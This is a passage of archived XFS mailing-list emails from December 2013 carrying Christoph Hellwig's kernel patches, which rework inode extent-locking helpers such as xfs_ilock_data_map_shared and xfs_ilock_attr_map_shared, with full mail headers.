xfs_ilock_data_map_shared(ip); if (ip->i_d.di_nextents > 0) xfs_dir3_data_readahead(NULL, ip, 0, -1); xfs_iunlock(ip, mode); @@ -1215,7 +1215,7 @@ xfs_seek_data( uint lock; int error; - lock = xfs_ilock_map_shared(ip); + lock = xfs_ilock_data_map_shared(ip); isize = i_size_read(inode); if (start >= isize) { @@ -1319,7 +1319,7 @@ xfs_seek_hole( if (XFS_FORCED_SHUTDOWN(mp)) return -XFS_ERROR(EIO); - lock = xfs_ilock_map_shared(ip); + lock = xfs_ilock_data_map_shared(ip); isize = i_size_read(inode); if (start >= isize) { Index: xfs/fs/xfs/xfs_inode.c =================================================================== --- xfs.orig/fs/xfs/xfs_inode.c 2013-12-06 19:57:33.199138169 +0100 +++ xfs/fs/xfs/xfs_inode.c 2013-12-06 19:58:41.667136764 +0100 @@ -91,20 +91,15 @@ xfs_get_extsz_hint( * xfs_iunlock() call. */ uint -xfs_ilock_map_shared( - xfs_inode_t *ip) +xfs_ilock_data_map_shared( + struct xfs_inode *ip) { - uint lock_mode; + uint lock_mode = XFS_ILOCK_SHARED; - if ((ip->i_d.di_format == XFS_DINODE_FMT_BTREE) && - ((ip->i_df.if_flags & XFS_IFEXTENTS) == 0)) { + if (ip->i_d.di_format == XFS_DINODE_FMT_BTREE && + (ip->i_df.if_flags & XFS_IFEXTENTS) == 0) lock_mode = XFS_ILOCK_EXCL; - } else { - lock_mode = XFS_ILOCK_SHARED; - } - xfs_ilock(ip, lock_mode); - return lock_mode; } @@ -575,7 +570,7 @@ xfs_lookup( if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return XFS_ERROR(EIO); - lock_mode = xfs_ilock_map_shared(dp); + lock_mode = xfs_ilock_data_map_shared(dp); error = xfs_dir_lookup(NULL, dp, name, &inum, ci_name); xfs_iunlock(dp, lock_mode); Index: xfs/fs/xfs/xfs_inode.h =================================================================== --- xfs.orig/fs/xfs/xfs_inode.h 2013-12-06 19:57:22.371138392 +0100 +++ xfs/fs/xfs/xfs_inode.h 2013-12-06 19:58:15.759137296 +0100 @@ -337,7 +337,7 @@ int xfs_ilock_nowait(xfs_inode_t *, uin void xfs_iunlock(xfs_inode_t *, uint); void xfs_ilock_demote(xfs_inode_t *, uint); int xfs_isilocked(xfs_inode_t *, uint); -uint xfs_ilock_map_shared(xfs_inode_t *); +uint xfs_ilock_data_map_shared(struct xfs_inode *); int xfs_ialloc(struct xfs_trans *, xfs_inode_t *, umode_t, xfs_nlink_t, xfs_dev_t, prid_t, int, struct xfs_buf **, xfs_inode_t **); Index: xfs/fs/xfs/xfs_bmap_util.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-06 19:57:22.371138392 +0100 +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-06 19:58:15.759137296 +0100 @@ -632,7 +632,7 @@ xfs_getbmap( */ } - lock = xfs_ilock_map_shared(ip); + lock = xfs_ilock_data_map_shared(ip); /* * Don't let nex be bigger than the number of extents From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C9C4629E19 for ; Fri, 6 Dec 2013 14:31:30 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5763FAC00D for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361889-04bdf0132195a40001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id GhDPtYw0AdG4r0GY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23d-0004z5-Hq for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:29 +0000 Message-Id: <20131206203129.460873551@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:16 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 10/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 10/11] xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int Content-Disposition: inline; filename=xfs-attr-locking-2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361889 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_attr_list.c =================================================================== --- xfs.orig/fs/xfs/xfs_attr_list.c 2013-12-06 17:20:27.371331603 +0100 +++ xfs/fs/xfs/xfs_attr_list.c 2013-12-06 19:41:42.779157674 +0100 @@ -507,17 +507,17 @@ xfs_attr_list_int( { int error; xfs_inode_t *dp = context->dp; + uint lock_mode; XFS_STATS_INC(xs_attr_list); if (XFS_FORCED_SHUTDOWN(dp->i_mount)) return EIO; - xfs_ilock(dp, XFS_ILOCK_SHARED); - /* * Decide on what work routines to call based on the inode size. */ + lock_mode = xfs_ilock_attr_map_shared(dp); if (!xfs_inode_hasattr(dp)) { error = 0; } else if (dp->i_d.di_aformat == XFS_DINODE_FMT_LOCAL) { @@ -527,9 +527,7 @@ xfs_attr_list_int( } else { error = xfs_attr_node_list(context); } - - xfs_iunlock(dp, XFS_ILOCK_SHARED); - + xfs_iunlock(dp, lock_mode); return error; } From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2D7AE29E1A for ; Fri, 6 Dec 2013 14:31:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A9A5EAC00F for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361889-04cb6c537d58c4e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id IiMEuo0dWtS2J7v8 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23d-0004xw-9G for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:29 +0000 Message-Id: <20131206203129.185131308@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:14 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 08/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 08/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate Content-Disposition: inline; filename=xfs-quota-locking-2 X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386361889 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_qm.c =================================================================== --- xfs.orig/fs/xfs/xfs_qm.c 2013-12-06 17:20:27.491331600 +0100 +++ xfs/fs/xfs/xfs_qm.c 2013-12-06 19:39:27.251160455 +0100 @@ -1193,16 +1193,18 @@ xfs_qm_dqiterate( lblkno = 0; maxlblkcnt = XFS_B_TO_FSB(mp, mp->m_super->s_maxbytes); do { + uint lock_mode; + nmaps = XFS_DQITER_MAP_SIZE; /* * We aren't changing the inode itself. Just changing * some of its data. No new blocks are added here, and * the inode is never added to the transaction. */ - xfs_ilock(qip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_data_map_shared(qip); error = xfs_bmapi_read(qip, lblkno, maxlblkcnt - lblkno, map, &nmaps, 0); - xfs_iunlock(qip, XFS_ILOCK_SHARED); + xfs_iunlock(qip, lock_mode); if (error) break; From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:31 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1DEFB29E20 for ; Fri, 6 Dec 2013 14:31:31 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9E2A5AC00E for ; Fri, 6 Dec 2013 12:31:30 -0800 (PST) X-ASG-Debug-ID: 1386361889-04cb6c537e58c4e0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id WVLpFxU1qjjbaK4w (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23d-0004xN-4h for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:29 +0000 Message-Id: <20131206203129.064095439@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:13 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 07/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 07/11] xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp Content-Disposition: inline; filename=xfs-quota-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386361889 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_dquot.c =================================================================== --- xfs.orig/fs/xfs/xfs_dquot.c 2013-12-06 17:20:27.571331599 +0100 +++ xfs/fs/xfs/xfs_dquot.c 2013-12-06 19:39:42.307160146 +0100 @@ -469,16 +469,17 @@ xfs_qm_dqtobp( struct xfs_mount *mp = dqp->q_mount; xfs_dqid_t id = be32_to_cpu(dqp->q_core.d_id); struct xfs_trans *tp = (tpp ? *tpp : NULL); + uint lock_mode; dqp->q_fileoffset = (xfs_fileoff_t)id / mp->m_quotainfo->qi_dqperchunk; - xfs_ilock(quotip, XFS_ILOCK_SHARED); + lock_mode = xfs_ilock_data_map_shared(quotip); if (!xfs_this_quota_on(dqp->q_mount, dqp->dq_flags)) { /* * Return if this type of quotas is turned off while we * didn't have the quota inode lock. */ - xfs_iunlock(quotip, XFS_ILOCK_SHARED); + xfs_iunlock(quotip, lock_mode); return ESRCH; } @@ -488,7 +489,7 @@ xfs_qm_dqtobp( error = xfs_bmapi_read(quotip, dqp->q_fileoffset, XFS_DQUOT_CLUSTER_SIZE_FSB, &map, &nmaps, 0); - xfs_iunlock(quotip, XFS_ILOCK_SHARED); + xfs_iunlock(quotip, lock_mode); if (error) return error; From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E28CE29E28 for ; Fri, 6 Dec 2013 14:31:32 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 79C20AC004 for ; Fri, 6 Dec 2013 12:31:29 -0800 (PST) X-ASG-Debug-ID: 1386361888-04bdf0132295a30001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id khamB6DJaM0Bq53Y (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23c-0004tr-9C for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:28 +0000 Message-Id: <20131206203128.196574675@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:07 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 01/11] xfs: no need to lock the inode in xfs_find_handle References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 01/11] xfs: no need to lock the inode in xfs_find_handle Content-Disposition: inline; filename=xfs-fix-xfs_find_handle-locking X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361888 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Both the inode number and the generation do not change on a live inode. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_ioctl.c =================================================================== --- xfs.orig/fs/xfs/xfs_ioctl.c 2013-12-06 19:16:33.819188640 +0100 +++ xfs/fs/xfs/xfs_ioctl.c 2013-12-06 19:17:04.087188019 +0100 @@ -112,15 +112,11 @@ xfs_find_handle( memset(&handle.ha_fid, 0, sizeof(handle.ha_fid)); hsize = sizeof(xfs_fsid_t); } else { - int lock_mode; - - lock_mode = xfs_ilock_map_shared(ip); handle.ha_fid.fid_len = sizeof(xfs_fid_t) - sizeof(handle.ha_fid.fid_len); handle.ha_fid.fid_pad = 0; handle.ha_fid.fid_gen = ip->i_d.di_gen; handle.ha_fid.fid_ino = ip->i_ino; - xfs_iunlock_map_shared(ip, lock_mode); hsize = XFS_HSIZE(handle); } From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1863E29E2A for ; Fri, 6 Dec 2013 14:31:33 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 01DE1304064 for ; Fri, 6 Dec 2013 12:31:29 -0800 (PST) X-ASG-Debug-ID: 1386361888-04cbb041675988a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id yhbpMNMcZoj68IsC (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23c-0004uV-Eu for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:28 +0000 Message-Id: <20131206203128.352433582@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:08 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 02/11] xfs: remove xfs_iunlock_map_shared References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 02/11] xfs: remove xfs_iunlock_map_shared Content-Disposition: inline; filename=xfs-remove-xfs_iunlock_map_shared X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361888 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 We can just use xfs_iunlock without any loss of clarity. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap_util.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-06 19:53:52.175142705 +0100 +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-06 19:57:22.371138392 +0100 @@ -737,7 +737,7 @@ xfs_getbmap( out_free_map: kmem_free(map); out_unlock_ilock: - xfs_iunlock_map_shared(ip, lock); + xfs_iunlock(ip, lock); out_unlock_iolock: xfs_iunlock(ip, XFS_IOLOCK_SHARED); Index: xfs/fs/xfs/xfs_file.c =================================================================== --- xfs.orig/fs/xfs/xfs_file.c 2013-12-06 19:53:52.175142705 +0100 +++ xfs/fs/xfs/xfs_file.c 2013-12-06 19:57:22.371138392 +0100 @@ -1294,7 +1294,7 @@ out: offset = vfs_setpos(file, offset, inode->i_sb->s_maxbytes); out_unlock: - xfs_iunlock_map_shared(ip, lock); + xfs_iunlock(ip, lock); if (error) return -error; @@ -1402,7 +1402,7 @@ out: offset = vfs_setpos(file, offset, inode->i_sb->s_maxbytes); out_unlock: - xfs_iunlock_map_shared(ip, lock); + xfs_iunlock(ip, lock); if (error) return -error; Index: xfs/fs/xfs/xfs_inode.c =================================================================== --- xfs.orig/fs/xfs/xfs_inode.c 2013-12-06 19:53:52.175142705 +0100 +++ xfs/fs/xfs/xfs_inode.c 2013-12-06 19:57:33.199138169 +0100 @@ -88,8 +88,7 @@ xfs_get_extsz_hint( * have been read in yet, and only lock the inode exclusively if they have not. * * The function returns a value which should be given to the corresponding - * xfs_iunlock_map_shared(). This value is the mode in which the lock was - * actually taken. + * xfs_iunlock() call. */ uint xfs_ilock_map_shared( @@ -110,18 +109,6 @@ xfs_ilock_map_shared( } /* - * This is simply the unlock routine to go with xfs_ilock_map_shared(). - * All it does is call xfs_iunlock() with the given lock_mode. - */ -void -xfs_iunlock_map_shared( - xfs_inode_t *ip, - unsigned int lock_mode) -{ - xfs_iunlock(ip, lock_mode); -} - -/* * The xfs inode contains 2 locks: a multi-reader lock called the * i_iolock and a multi-reader lock called the i_lock. This routine * allows either or both of the locks to be obtained. @@ -590,7 +577,7 @@ xfs_lookup( lock_mode = xfs_ilock_map_shared(dp); error = xfs_dir_lookup(NULL, dp, name, &inum, ci_name); - xfs_iunlock_map_shared(dp, lock_mode); + xfs_iunlock(dp, lock_mode); if (error) goto out; Index: xfs/fs/xfs/xfs_inode.h =================================================================== --- xfs.orig/fs/xfs/xfs_inode.h 2013-12-06 19:53:52.175142705 +0100 +++ xfs/fs/xfs/xfs_inode.h 2013-12-06 19:57:22.371138392 +0100 @@ -338,7 +338,6 @@ void xfs_iunlock(xfs_inode_t *, uint); void xfs_ilock_demote(xfs_inode_t *, uint); int xfs_isilocked(xfs_inode_t *, uint); uint xfs_ilock_map_shared(xfs_inode_t *); -void xfs_iunlock_map_shared(xfs_inode_t *, uint); int xfs_ialloc(struct xfs_trans *, xfs_inode_t *, umode_t, xfs_nlink_t, xfs_dev_t, prid_t, int, struct xfs_buf **, xfs_inode_t **); From BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 6 14:31:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 0C7E229E29 for ; Fri, 6 Dec 2013 14:31:33 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9AF55AC00D for ; Fri, 6 Dec 2013 12:31:29 -0800 (PST) X-ASG-Debug-ID: 1386361888-04bdf0132195a30001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id fSG37yHvCY5NBGFO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 06 Dec 2013 12:31:28 -0800 (PST) X-Barracuda-Envelope-From: BATV+987d0eb0bebf8da469ae+3757+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vp23c-0004vg-Ny for xfs@oss.sgi.com; Fri, 06 Dec 2013 20:31:28 +0000 Message-Id: <20131206203128.663030833@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 06 Dec 2013 12:30:10 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared References: <20131206203006.914776999@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 04/11] xfs: add xfs_ilock_attr_map_shared Content-Disposition: inline; filename=xfs-add-xfs_ilock_attr_map_shared X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386361888 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142897 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Equivalent to xfs_ilock_data_map_shared, except for the attribute fork. Make xfs_getbmap use it if called for the attribute fork instead of xfs_ilock_data_map_shared. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_bmap_util.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-06 19:58:15.759137296 +0100 +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-06 20:02:23.291132216 +0100 @@ -617,22 +617,27 @@ xfs_getbmap( return XFS_ERROR(ENOMEM); xfs_ilock(ip, XFS_IOLOCK_SHARED); - if (whichfork == XFS_DATA_FORK && !(iflags & BMV_IF_DELALLOC)) { - if (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size) { + if (whichfork == XFS_DATA_FORK) { + if (!(iflags & BMV_IF_DELALLOC) && + (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size)) { error = -filemap_write_and_wait(VFS_I(ip)->i_mapping); if (error) goto out_unlock_iolock; + + /* + * Even after flushing the inode, there can still be + * delalloc blocks on the inode beyond EOF due to + * speculative reallocation. These are not removed + * until the release function is called or the inode + * is inactivated. Hence we cannot assert here that + * ip->i_delayed_blks == 0. + */ } - /* - * even after flushing the inode, there can still be delalloc - * blocks on the inode beyond EOF due to speculative - * preallocation. These are not removed until the release - * function is called or the inode is inactivated. Hence we - * cannot assert here that ip->i_delayed_blks == 0. - */ - } - lock = xfs_ilock_data_map_shared(ip); + lock = xfs_ilock_data_map_shared(ip); + } else { + lock = xfs_ilock_attr_map_shared(ip); + } /* * Don't let nex be bigger than the number of extents Index: xfs/fs/xfs/xfs_inode.c =================================================================== --- xfs.orig/fs/xfs/xfs_inode.c 2013-12-06 19:58:41.667136764 +0100 +++ xfs/fs/xfs/xfs_inode.c 2013-12-06 20:00:44.535134243 +0100 @@ -77,17 +77,18 @@ xfs_get_extsz_hint( } /* - * This is a wrapper routine around the xfs_ilock() routine used to centralize - * some grungy code. It is used in places that wish to lock the inode solely - * for reading the extents. The reason these places can't just call - * xfs_ilock(SHARED) is that the inode lock also guards to bringing in of the - * extents from disk for a file in b-tree format. If the inode is in b-tree - * format, then we need to lock the inode exclusively until the extents are read - * in. Locking it exclusively all the time would limit our parallelism - * unnecessarily, though. What we do instead is check to see if the extents - * have been read in yet, and only lock the inode exclusively if they have not. + * These two are wrapper routines around the xfs_ilock() routine used to + * centralize some grungy code. They are used in places that wish to lock the + * inode solely for reading the extents. The reason these places can't just + * call xfs_ilock(ip, XFS_ILOCK_SHARED) is that the inode lock also guards to + * bringing in of the extents from disk for a file in b-tree format. If the + * inode is in b-tree format, then we need to lock the inode exclusively until + * the extents are read in. 